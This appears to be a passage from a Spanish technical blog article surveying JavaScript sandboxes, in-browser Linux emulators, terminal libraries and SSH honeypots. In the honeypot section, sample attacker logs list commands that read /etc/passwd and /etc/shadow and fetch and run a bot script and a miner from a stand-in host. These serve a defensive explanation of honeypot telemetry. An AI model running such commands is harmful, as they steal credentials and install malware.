Tres CVEs críticos en el mismo mes (abril de 2023). TRES. EN UN SOLO MES. Después de CVE-2023-37903, el mantenedor deprecó oficialmente la librería con el mensaje: «La librería contiene problemas de seguridad críticos y no debe usarse en producción».

El mantenedor la resucitó en octubre de 2025 con la versión 3.10.0, afirmando haber arreglado todo lo conocido hasta ese momento. Un nuevo escape crítico (CVE-2026-22709, CVSS 9.8) se reveló en enero de 2026, seguido de un lote de once más en mayo de 2026. Once. El patrón no ha cambiado y honestamente no creo que cambie nunca.

El problema fundamental es arquitectónico -- y esta es la lección que le tomó un tiempo aprender a todo el ecosistema. No puedes construir un sandbox seguro usando el mismo lenguaje que estás aislando, en el mismo motor, en el mismo proceso. La superficie de escape es toda la implementación de V8 -- y V8 tiene varios millones de líneas de C++ que siguen cambiando. Cada nueva característica de JS potencialmente abre un nuevo camino de ataque.

Veredicto: No lo uses para aplicaciones sensibles a la seguridad. Incluso en la última versión, se descubren nuevos bypasses cada pocos meses. El propio mantenedor lo ha reconocido abiertamente.


1.3 isolated-vm -- el que realmente funciona

isolated-vm toma el enfoque correcto: usar la primitiva de aislamiento propia de V8, el Isolate. Cada V8 Isolate tiene su propio heap, su propio recolector de basura, su propio conjunto de built-ins y cero referencias compartidas con otros Isolates.

Este es el mismo límite que Chrome usa entre pestañas. Es un límite de seguridad real, no un truco a nivel de lenguaje construido sobre Proxy.

import ivm from "isolated-vm";

// Cada isolate es su propio heap V8
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // límite en MB
const context = await isolate.createContext();
const jail = context.global;

// Pasar datos a través del límite requiere serialización explícita
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // No puede alcanzar el proceso anfitrión, el heap anfitrión ni los módulos anfitriones
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// Puedes terminar forzadamente por timeout o límite de memoria
isolate.dispose(); // libera todo el heap

Los tipos Reference y ExternalCopy son el puente de comunicación explícito. Un Reference le da al isolate un manejador invocable a una función anfitriona -- el isolate puede llamarla pero no puede inspeccionar su clausura o prototipo. Un ExternalCopy serializa un valor (clon estructurado) a través del límite del heap. Este modelo de puente explícito no es conveniente, pero es lo que hace real el aislamiento.

Puedes establecer límites de recursos duros: memoria (el isolate termina si excede el límite), timeout de tiempo real y timeout de CPU. La terminación es real -- mata todo el V8 Isolate, no solo un timeout de JS que se puede evitar con un while(true).

Limitaciones: es solo JS. No puedes ejecutar bash dentro de él. No hay concepto de archivos, permisos, red o procesos. Es exactamente la herramienta adecuada para JS enviado por usuarios (plugins, fórmulas, hooks de scripts), y la herramienta equivocada para todo lo demás. La autora de typescript-virtual-container mencionó que lo consideró al principio antes de darse cuenta de que «ejecutar comandos de shell» y «aislar JavaScript» son problemas fundamentalmente diferentes.

Memoria: ~3–10 MB por isolate vacío, crece con el uso del heap.
Seguridad: fuerte. El límite V8 Isolate es la primitiva de aislamiento real.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- un motor JS separado compilado a Wasm

Un enfoque diferente: en lugar de aislar dentro de V8, ejecuta un motor JavaScript completamente separado compilado a WebAssembly. El anfitrión se ejecuta en V8/Node. El invitado se ejecuta en QuickJS-dentro-de-Wasm. El sandbox de Wasm proporciona el límite de aislamiento.

QuickJS es trabajo de Fabrice Bellard otra vez (el mismo de QEMU, FFmpeg, JSLinux, TinyEMU -- esta persona no es real, ¿cómo puede una persona hacer todo esto?). Es un motor JS pequeño y conforme al estándar ES2023 escrito en C, y cuando se compila a Wasm tiene solo ~500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Se ejecuta en QuickJS, completamente separado de V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS es un motor JavaScript pequeño y conforme a ES2023 escrito en C. Compilado a Wasm, tiene ~500 KB para la variante síncrona, ~1 MB para la asíncrona (Asyncify). La gestión de memoria es manual -- cada valor que extraes de la VM debe ser explícitamente liberado, lo cual es un poco molesto pero evita sorpresas de GC entre límites. ¡Compensación divertida!

El wrapper @sebastianwessel/quickjs añade una API más ergonómica encima, con sistema de archivos virtual opcional, soporte fetch y stubs de módulos Node.js:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

El modelo de seguridad es diferente de isolated-vm: el modelo de memoria lineal de Wasm significa que el invitado no puede acceder directamente a los objetos del heap de V8. La superficie de ataque es la interfaz anfitrión↔Wasm (importaciones/exportaciones), no todo el lenguaje JS. Esto generalmente se considera más robusto que el sandboxing basado en Proxy.

La desventaja: QuickJS no tiene el mismo nivel de optimización que V8. Para cargas de trabajo JS intensivas en CPU, es 5–20x más lento que V8. Para fragmentos cortos y eval no confiable, esto normalmente no importa.

Memoria: ~500 KB módulo Wasm + heap por instancia.
Seguridad: límite Wasm, considerado más fuerte que enfoques basados en Proxy.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- runtime con permisos primero

Deno toma una filosofía completamente diferente: en lugar de hacer sandboxing dentro de Node, construye un nuevo runtime que es seguro por defecto. Este enfoque me gusta mucho -- es lo que Node.js debería haber sido desde el principio, honestamente. Ryan Dahl (el creador original de Node.js) literalmente hizo Deno porque se arrepentía de algunas decisiones de diseño de Node.js, lo cual es bastante loco cuando lo piensas.

Cada capacidad sensible (lectura de archivos, escritura, red, entorno, subprocesos) requiere una bandera explícita --allow-*:

# Esto solo puede leer de /data, nada más
deno run --allow-read=/data script.ts

# Esto solo puede hacer fetch a un dominio
deno run --allow-net=api.example.com script.ts

# Sin banderas = sin permisos
deno run untrusted.ts # no puede leer, escribir, hacer red, spawnear

El modelo de permisos está implementado a nivel de Rust/SO -- no es un truco de JS. Cuando el código de Deno llama a Deno.readFile(), esto pasa por una operación Rust que verifica la tabla de permisos antes de tocar el sistema de archivos. No puedes evitarlo desde JS porque la syscall nunca ocurre si el permiso no está concedido.

Para ejecutar código verdaderamente no confiable, Deno Workers (Web Workers) proporcionan un segundo isolate dentro del mismo proceso, cada uno con su propio conjunto de permisos. Puedes spawnear un worker con cero permisos y comunicarte con él mediante postMessage.

Deno 2 (lanzado en octubre de 2024) añadió compatibilidad total con npm y shims de compatibilidad con Node.js, lo que mejoró significativamente su adopción para casos de uso del lado del servidor.

El tradeoff: el modelo de seguridad de Deno es excelente para código en el que podrías confiar parcialmente. Para código completamente no confiable que podría ser adversarial, el modelo de permisos no ayuda -- necesitas un límite Isolate (isolated-vm) o un motor diferente (quickjs-emscripten), porque Deno sigue ejecutando V8 y atacantes sofisticados pueden encontrar bugs a nivel de V8.


1.6 TC39 ShadowRealm -- la respuesta estándar (eventualmente)

El organismo de estándares de JavaScript (TC39) tiene una propuesta llamada ShadowRealm que intenta estandarizar lo que vm y vm2 estaban intentando hacer, pero con un modelo de seguridad correcto. Un ShadowRealm crea un contexto de ejecución JS aislado con su propio conjunto de intrínsecos, sin acceso al ámbito exterior, y una interfaz de importación/exportación cuidadosamente controlada.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Intrínsecos separados, sin acceso al ámbito exterior
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm está en navegadores (Chrome 90+, Firefox 105+) pero a partir de 2026 aún no está en Node.js estable. La propuesta de TC39 Compartments se basa en esto para aislamiento a nivel de módulos. Estas son las respuestas estandarizadas a largo plazo, pero aún no están listas para producción en Node del lado del servidor. Es una de esas cosas que ves venir desde lejos pero simplemente... aún no está ahí. TC39 clásico xD


Resumen de la familia de sandboxes

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Límite de aislamiento ninguno (solo ámbito) Proxy (roto) V8 Isolate Wasm V8 Isolate + permisos Rust
Límite de memoria ❌ ❌ ✅ límite duro ✅ heap Wasm parcial
Timeout de CPU ❌ ✅ (burlable) ✅ duro ✅ ✅
Seguridad ninguna rota fuerte fuerte fuerte
Velocidad JS V8 nativo V8 nativo V8 nativo ~10x más lento V8 nativo
Navegador ❌ ❌ ❌ ✅ ❌
Compatibilidad Node nativa ✅ ✅ shims parciales parcial
Estado estable riesgoso (nuevos CVEs) ✅ activo ✅ activo ✅ activo
Sobrecarga RAM ~1 MB ~5–20 MB ~3–10 MB ~5–15 MB ~10–30 MB

La conclusión: si te importa la seguridad, hay exactamente dos opciones reales -- isolated-vm (addon nativo, V8 Isolate, velocidad JS completa) y quickjs-emscripten (Wasm, compatible con navegadores, ~10x más lento para código pesado). Todo lo demás es o «por favor no» (vm, vm2) o un runtime que resuelve un problema completamente diferente (Deno). ShadowRealm podría cambiar este panorama eventualmente, pero aún no está ahí.


Parte 2 -- Emuladores de Linux en JavaScript

Aquí es donde las cosas se ponen realmente interesantes para mí. Estos son emuladores reales -- implementan un conjunto de instrucciones de CPU en JavaScript o WebAssembly, arrancan una imagen real de kernel de Linux y ejecutan binarios reales del espacio de usuario. El aislamiento viene del hecho de que el invitado y el anfitrión no comparten nada: diferentes espacios de memoria, diferentes flujos de instrucciones.

El precio que pagas es enorme, pero lo que obtienes es genuinamente notable: Linux real, realmente ejecutándose, en tu navegador o proceso Node. O sea, es bastante increíble cuando lo piensas, ¿no?

2.1 v86 -- emulador de PC x86 en JS + JIT Wasm

v86 de Fabrice (copy en GitHub) es el emulador x86 de código abierto más capaz en JavaScript. Comenzó como un intérprete JS puro alrededor de 2013 y ha evolucionado a un sistema JIT donde los bloques básicos x86 se traducen a WebAssembly sobre la marcha, mejorando drásticamente el rendimiento.

Lo que emula:

  • CPU: x86-32 (IA-32), conjunto de instrucciones aproximadamente a nivel Pentium 1. Sin soporte de 64 bits (x86-64) -- esto es un límite arquitectónico duro, no una característica faltante.
  • FPU: mediante Float64Array de JavaScript. x87 es de precisión extendida de 80 bits; los doubles JS son de 64 bits. Esto significa que los resultados de coma flotante pueden diferir ligeramente de una CPU real.
  • Memoria: configurable, se asigna a un SharedArrayBuffer o ArrayBuffer en el heap JS.
  • Hardware: 8254 PIT (temporizador), 8259 PIC (controlador de interrupciones), controlador de teclado 8042 (PS/2), CMOS RTC, VGA con extensiones SVGA y Bochs VBE, controlador IDE, controlador de disquete (8272A), tarjeta de red NE2000.
  • BIOS: usa SeaBIOS (BIOS x86 de código abierto).

El JIT funciona identificando bloques básicos (secuencias de instrucciones x86 sin saltos), traduciéndolos a una función WebAssembly, almacenando en caché esa función y llamándola en ejecuciones posteriores del mismo bloque. Las rutas de código caliente obtienen rendimiento Wasm nativo. Las rutas frías recurren al intérprete JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Capturar salida serial (consola del kernel Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Enviar entrada al invitado (escribir en el shell)
emulator.serial0_send("ls /\n");

SO soportado: Alpine Linux (excelente), Ubuntu 16.04/18.04 (solo i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (con limitaciones), MS-DOS.

Tiempo de arranque: 15–40 segundos para Alpine Linux desde una imagen limpia. Esto es inherente a la inicialización real del kernel -- no puedes saltártelo. Sí, tus usuarios estarán sentados viendo una secuencia de arranque del kernel en su navegador. Ese es el trato xD

Memoria mínima: 100–256 MB por instancia. El caché de código JIT Wasm solo puede alcanzar decenas de MB para una instancia ocupada de Linux.

Uso en Node.js: totalmente soportado. No necesita DOM -- la salida VGA puede descartarse si solo te importa la salida serie.

Lo que no puedes hacer: ejecutar binarios de 64 bits, usar características modernas del kernel (eBPF, io_uring, etc.), o ejecutar más de un puñado de instancias concurrentemente sin alcanzar límites de memoria.

npm: v86 -- actualizado continuamente, la última publicación fue dentro del último día al momento de escribir.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux y TinyEMU -- el trabajo de Bellard, dos veces

JSLinux es el propio emulador de Linux en JavaScript de Fabrice Bellard -- el primero de su tipo, publicado en 2011. Sigo mencionando a Bellard en este artículo porque sigue apareciendo: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. El hombre es algo especial. Genuinamente una de las contribuciones técnicas individuales más impresionantes en la historia del software, sin exagerar.

El JSLinux original era un intérprete x86 en JS puro. En 2016, Bellard escribió TinyEMU (un emulador RISC-V en C), lo compiló a JavaScript mediante Emscripten, y eso se convirtió en la base del JSLinux actual. Así que el JSLinux actual es en realidad código C que genera JavaScript -- no JS escrito a mano en absoluto.

Las notas técnicas en el sitio de Bellard valen la pena leerlas: el JSLinux actual ejecuta una CPU RISC-V de 32 o 64 bits (no x86), emulando consola VirtIO, red VirtIO, dispositivo de bloque VirtIO y un sistema de archivos 9P para compartir archivos con el anfitrión. La demo JS está compilada desde C usando Emscripten -- no es JS escrito a mano.

TinyEMU en sí soporta:

  • RISC-V RV32IMAFDQC y RV64IMAFDQC (32 y 64 bits, con coma flotante, multiplicación, instrucciones comprimidas)
  • x86 mediante KVM (solo nativo, sin emulación -- así que la versión JS es solo RISC-V)
  • Consola VirtIO, red, bloque, entrada, sistema de archivos 9P

TinyEMU tiene una demo JavaScript proporcionada mediante Emscripten. Es la base de JSLinux y también la usa container2wasm (ver sección 2.5).

Estado de JSLinux: no tiene paquete npm, no tiene API programática. Es una demo que abres en tu navegador. Su significado histórico es alto -- probó el concepto. Uso práctico como librería: ninguno.

TinyEMU: no está en npm, código fuente C disponible en bellard.org/tinyemu.


2.3 jor1k -- emulador OR1K

jor1k es un emulador OpenRISC 1000 (OR1K) escrito en JavaScript por Sebastian Macke. Es interesante históricamente porque jor1k introdujo soporte de sistema de archivos VirtIO 9P, que Bellard luego incorporó en TinyEMU y JSLinux. La polinización cruzada entre estos proyectos es estrecha -- todos se toman prestados unos de otros, que es honestamente una de las cosas más geniales del trabajo de emulación de código abierto.

Estado: ya no tiene mantenimiento activo, no tiene paquete npm. Archivado a estas alturas. Vale la pena conocerlo principalmente por contexto histórico -- como si alguien menciona jor1k en una conversación, ahora sabes lo que es :)


2.4 CheerpX -- emulador x86 comercial para el navegador

CheerpX de Leaning Technologies es el emulador x86 Linux comercial de grado de producción. No es de código abierto, pero es significativamente más capaz que v86 para ejecutar espacio de usuario real de Debian/Ubuntu. Si necesitas VSCode real en el navegador, esto es lo que usas.

Diferencias clave con v86:

  • Soporta un ISA más amplio (más extensiones x86, mejor compatibilidad con glibc)
  • Sistema de archivos respaldado por IndexedDB en el navegador (persistente entre cargas de página)
  • Soporte pthread mediante SharedArrayBuffer (que requiere cabeceras COOP/COEP -- sí, esas molestas cabeceras de seguridad)
  • Diseñado para ejecutar VSCode, Python, Node.js y otras aplicaciones reales -- no solo imágenes mínimas de SO
  • Soporte profesional y SLA disponible (es decir, puedes gritarle a alguien si se rompe)

El caso de uso típico es «ejecutar una aplicación Linux real en el navegador sin un servidor». Las empresas lo usan para IDEs basados en navegador, tutoriales de programación y documentación interactiva.

// API de CheerpX (simplificada)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Historia en Node.js: CheerpX es primero para navegador. El emulador subyacente podría funcionar teóricamente en Node (es Wasm), pero la API y la documentación están orientadas enteramente al uso en navegador. El uso del lado del servidor no está soportado.

Memoria: similar a v86 -- 200+ MB para una instancia real de Debian.
Precios: gratuito para proyectos de código abierto, licencia comercial para SaaS de producción.
Docs: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js en Wasm, no emulación de Linux

WebContainers a menudo se agrupa con emuladores de Linux pero es arquitectónicamente diferente. No emulan x86. No arrancan Linux. Ejecutan Node.js compilado a WebAssembly usando WASI. Esta distinción importa mucho y pasé demasiado tiempo confundido al respecto lol.

Creo que la confusión viene del marketing -- «ejecuta Node.js en tu navegador» suena a emulación, pero en realidad es Node.js compilado a Wasm, no emulación de Linux ejecutando Node.js dentro de una VM. Algo totalmente diferente.

La arquitectura:

  1. Node.js se compila a Wasm (específicamente un runtime WASI personalizado)
  2. Un Service Worker intercepta las solicitudes de red del servidor Node.js emulado y las enruta a la pestaña del navegador
  3. El sistema de archivos vive en la memoria del navegador (sin E/S de disco)
  4. npm es una implementación personalizada optimizada para uso en navegador
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Escribir archivos
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Ejecutar comandos Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Como ejecuta Node.js real (compilado a Wasm), obtienes npm real, APIs reales de Node.js y resolución de módulos real. No obtienes un espacio de usuario Linux de propósito general -- no puedes instalar paquetes del sistema con apt, ejecutar binarios compilados arbitrarios, o hacer mucho fuera del ecosistema Node.js.

Requisitos del navegador: SharedArrayBuffer (requiere cabeceras COOP/COEP), soporte de Service Worker, Wasm moderno.

Historia en Node.js: diseñado exclusivamente para uso en navegador. La API no funciona fuera de un contexto de navegador.

npm: @webcontainer/api
Docs: webcontainers.io


2.6 container2wasm -- Contenedores Docker compilados a Wasm

container2wasm es una herramienta (no un paquete npm) de NTT que toma una imagen de contenedor Docker y la convierte en un binario WebAssembly que puede ejecutarse en cualquier host Wasm -- incluyendo un navegador. Cuando vi esto por primera vez, genuinamente no creía que funcionara.

El mecanismo:

  • Para contenedores x86_64: incrusta Bochs (un emulador x86, compilado a Wasm) + el sistema de archivos raíz del contenedor
  • Para contenedores riscv64: incrusta TinyEMU (¡Bellard otra vez!) + el sistema de archivos raíz del contenedor
  • El archivo .wasm resultante arranca el emulador, monta el sistema de archivos del contenedor y ejecuta el entrypoint del contenedor
# Convertir contenedor Ubuntu 22.04 a Wasm
c2w ubuntu:22.04 out.wasm

# Ejecutarlo
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# O servirlo para uso en navegador
c2w --to-js ubuntu:22.04 /tmp/htdocs/

El .wasm resultante es grande -- un Ubuntu mínimo son varios cientos de MB -- pero es completamente autocontenido. Puedes enviar por correo un .wasm y alguien puede ejecutar Ubuntu en su navegador. Esa frase no debería tener sentido pero aquí estamos.

GitHub: container2wasm/container2wasm


Resumen de la familia de emuladores

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Arquitectura x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (propietario) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Kernel real ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64 bits ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
Paquete npm ✅ ❌ ❌ CDN/API ✅ ❌ (CLI)
Uso Node.js ✅ ❌ ❌ ❌ ❌ (solo navegador) vía Wasmtime
Uso navegador ✅ ✅ ✅ ✅ ✅ ✅
RAM/instancia 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
Tiempo arranque 15–40s 10–30s 10–30s 15–40s 2–5s 10–40s
Código abierto ✅ ✅ ✅ ❌ parcial ✅
Estado ✅ muy activo ✅ estable ⚠️ archivado ✅ comercial ✅ activo ✅ activo

Lo que salta a la vista de esta tabla: v86 es el único que es un paquete npm, funciona tanto en navegador como en Node, y es de código abierto. Por eso domina la conversación sobre «emulador de Linux en JavaScript». Todo lo demás tiene algún inconveniente -- JSLinux no tiene API, jor1k está archivado, CheerpX cuesta dinero, WebContainers es solo navegador y específico de Node, container2wasm requiere un paso de build y un CLI. Si solo necesitas «arrancar Linux en JavaScript», v86 es casi siempre el punto de partida correcto.


Parte 3 -- Stacks de terminal: xterm.js y node-pty

Dos paquetes aparecen constantemente cuando la gente construye experiencias tipo shell. No son sandboxes ni emuladores -- son la UI y la fontanería PTY -- pero son tan adyacentes que me sentiría mal dejándolos fuera. Además, he usado ambos y son realmente buenos.

3.1 xterm.js -- el renderizador de terminal

xterm.js es un emulador de terminal para el navegador. Renderiza una pantalla de terminal (secuencias de escape VT100/xterm) en un elemento <canvas>, maneja la entrada del teclado y expone una API para canalizar datos hacia adentro y hacia afuera.

Usado por: la terminal integrada de VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell y muchos otros.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Enviar datos a la terminal (renderizados como texto)
term.write("$ ");
term.onData(data => {
  // data son pulsaciones de teclas -- enviar a tu backend
  socket.send(data);
});
socket.onmessage(msg => {
  // salida del backend -- mostrarla
  term.write(msg.data);
});

xterm.js es solo la capa de renderizado. No ejecuta un shell. No interpreta comandos. Es un widget de visualización que conectas al backend que quieras. Mucha gente piensa que xterm.js «hace la terminal» pero en realidad es solo la pantalla -- todavía necesitas conectarlo a algo que realmente ejecute comandos.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- Spawning de PTY

node-pty crea un pseudoterminal (PTY) en Node.js y te da un manejador de lectura/escritura para él. Usado con xterm.js, te permite construir una terminal de navegador que se comunica con un shell real (bash, zsh, fish) ejecutándose en el servidor.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Enviar al xterm.js del navegador vía WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Reenviar pulsaciones del navegador al shell
  shell.write(data);
});

Este es el patrón estándar para IDEs en la nube y terminales web: xterm.js (navegador) ↔ WebSocket ↔ node-pty ↔ bash real. Sin aislamiento. El shell se ejecuta con todos los permisos del proceso Node.js (o del usuario que lo ejecuta).

Mantenido por: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Parte 4 -- Honeypots SSH

Los honeypots están diseñados para ser atacados. El objetivo es parecer lo suficientemente reales como para que los atacantes interactúen con ellos, mientras registran todo lo que hacen para inteligencia de amenazas. SSH es el objetivo principal porque es el servicio más atacado en internet -- si expones el puerto 22 en una IP pública, verás intentos de escaneo automatizados en cuestión de minutos. Pruébalo alguna vez, es bastante horrorizante lo rápido que sucede.

La calidad de un honeypot se mide por dos cosas: fidelidad (cuán convincentemente se hace pasar por un sistema real) y telemetría (cuántos datos útiles captura). Estas están en tensión. Un honeypot de alta fidelidad es más difícil de construir y más riesgoso de operar.

Esta sección es lo que eventualmente me llevó a construir el módulo HoneyPot en typescript-virtual-container, así que tengo algunas opiniones aquí.

4.1 Cowrie -- el estándar de oro

Cowrie es un honeypot SSH y Telnet de interacción media-alta basado en Python. Es el honeypot SSH más ampliamente desplegado en la comunidad de investigación y seguridad.

Arquitectura:

  • Capa de protocolo: implementación real del protocolo SSH (Twisted Conch), así que los atacantes obtienen handshakes reales, intercambio de claves real, autenticación real
  • Capa de shell: un sistema de archivos falso (parecido a Debian 5.0) y un intérprete de shell parcial que responde a comandos comunes
  • Modo proxy: puede reenviar a un sistema real detrás (modo de alta interacción), registrando todo lo que fluye a través
  • Modo LLM (adición reciente): usa un modelo de lenguaje para generar respuestas dinámicas a comandos que no sabe manejar -- sí, Cowrie ahora tiene modo IA. Tiempos locos.
# Lo que Cowrie captura
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie guarda los archivos descargados (vía wget/curl/SFTP/SCP) para análisis de malware. Se integra con Splunk, Elasticsearch y otras plataformas SIEM.

Fidelidad: media-alta. Suficientemente convincente para engañar a bots automatizados (que es el 99% de los atacantes SSH -- la mayoría son solo scripts tontos probando root/password). Humanos sofisticados pueden detectarlo, aunque normalmente bastante rápido.

Lenguaje: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- el predecesor de Cowrie

Kippo es el honeypot SSH de interacción media original en el que se basó Cowrie. Misma idea básica: protocolo SSH real, sistema de archivos falso, shell parcial. Cowrie lo ha suplantado completamente a estas alturas -- Kippo está archivado y nadie debería ejecutarlo en 2026. Mencionado aquí puramente por integridad histórica, ya que podrías verlo referenciado en artículos de blog antiguos y documentos de seguridad.

GitHub: desaster/kippo -- archivado


4.3 endlessh -- el tarpit SSH

endlessh es un honeypot degenerado: mantiene las conexiones SSH abiertas goteando lentamente datos del banner a 1 byte por segundo (o más lento). Un cliente SSH que se conecte a él colgará indefinidamente -- nunca llegará a la autenticación porque el servidor nunca termina de enviar el banner.

El objetivo no es inteligencia de amenazas sino denegación de recursos pura: ocupar los hilos de escaneo del atacante para que no puedan alcanzar objetivos reales tan rápido. Es honestamente un poco malvado de la mejor manera. No estás aprendiendo nada del atacante -- solo estás perdiendo su tiempo. Hay algo profundamente satisfactorio en eso.

// Todo el comportamiento del protocolo de endlessh:
// Enviar: "SSH-2.0-OpenSSH_" luego agregar caracteres aleatorios lentamente
// Nunca cerrar la conexión
// El escáner del atacante agota el tiempo después de N segundos

No se capturan comandos. No se prueba autenticación. Solo tiempo de conexión.

Escrito en: C
GitHub: skeeto/endlessh


4.4 sshesame -- el honeypot «deja entrar a todos»

sshesame acepta cada conexión SSH (cualquier usuario, cualquier contraseña, cualquier clave) y registra todo. Es un honeypot de interacción cero: no responde a comandos, solo deja «entrar» a los atacantes y registra cada pulsación que escriben.

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

Útil para recolección de credenciales: acumulas rápidamente los nombres de usuario y contraseñas que los bots prueban, lo que te dice qué credenciales predeterminadas están siendo brutalmente forzadas actualmente. Spoiler: siempre es root/password, admin/admin y root/123456. Siempre.

GitHub: jaksi/sshesame


4.5 Lyrebird -- framework de honeypots basado en Docker

lyrebird/honeypot-base es una imagen base Docker para construir honeypots de servicios de red. No es específicamente un honeypot SSH -- es un framework para construir honeypots de cualquier protocolo.

La imagen base proporciona un framework de registro, un sistema de plugins para protocolos y configuraciones de Docker Compose para honeypots multi-servicio. Lo extiendes para falsear servicios específicos.

Docker Hub: lyrebird/honeypot-base


4.6 Construir un honeypot SSH en Node.js -- la forma ingenua, y por qué falla

Antes de typescript-virtual-container, construir un honeypot SSH en Node.js significaba combinar la librería real ssh2 con falsificación manual de comandos. Muy tedioso, muy incompleto, pero como... es un rito de iniciación a estas alturas:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Registrar el intento
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Dejar entrar a todos
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Respuesta falsa
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Esto «funciona» en el sentido de que captura credenciales y comandos. Pero es obviamente falso en cuanto un atacante sofisticado lo prueba. uname -a devuelve la cadena correcta pero ls /etc devuelve «command not found» es una pista evidente. El sistema de archivos no existe. Los comandos no se encadenan. Los pipes no funcionan. Las variables no se expanden.

Un atacante hábil detectará tu honeypot en los primeros cinco comandos. Los scripts automatizados que verifican el comportamiento tipo Cowrie también lo detectarán inmediatamente. Esto es aparentemente lo que empujó a la autora de typescript-virtual-container a construir algo que realmente interpreta comandos de verdad -- más sobre eso en la Parte 5.


Resumen de la familia de honeypots

Cowrie Kippo endlessh sshesame Lyrebird ssh2 ingenuo
Nivel de interacción medio-alto medio cero cero varía bajo
Protocolo SSH real ✅ ✅ ❌ (tarpit) ✅ varía ✅
Fidelidad de shell media media n/a ninguna varía mínima
Captura credenciales ✅ ✅ ❌ ✅ ✅ ✅
Captura comandos ✅ ✅ ❌ ✅ varía ✅
Captura malware ✅ ✅ ❌ ❌ ❌ ❌
Integración SIEM ✅ nativa ❌ ❌ ❌ ❌ manual
Respuestas LLM ✅ (nuevo) ❌ ❌ ❌ ❌ ❌
Lenguaje Python Python C Go Docker Node.js
Node.js nativo ❌ ❌ ❌ ❌ ❌ ✅
Estado ✅ muy activo ⚠️ archivado ✅ activo ✅ activo ✅ activo DIY

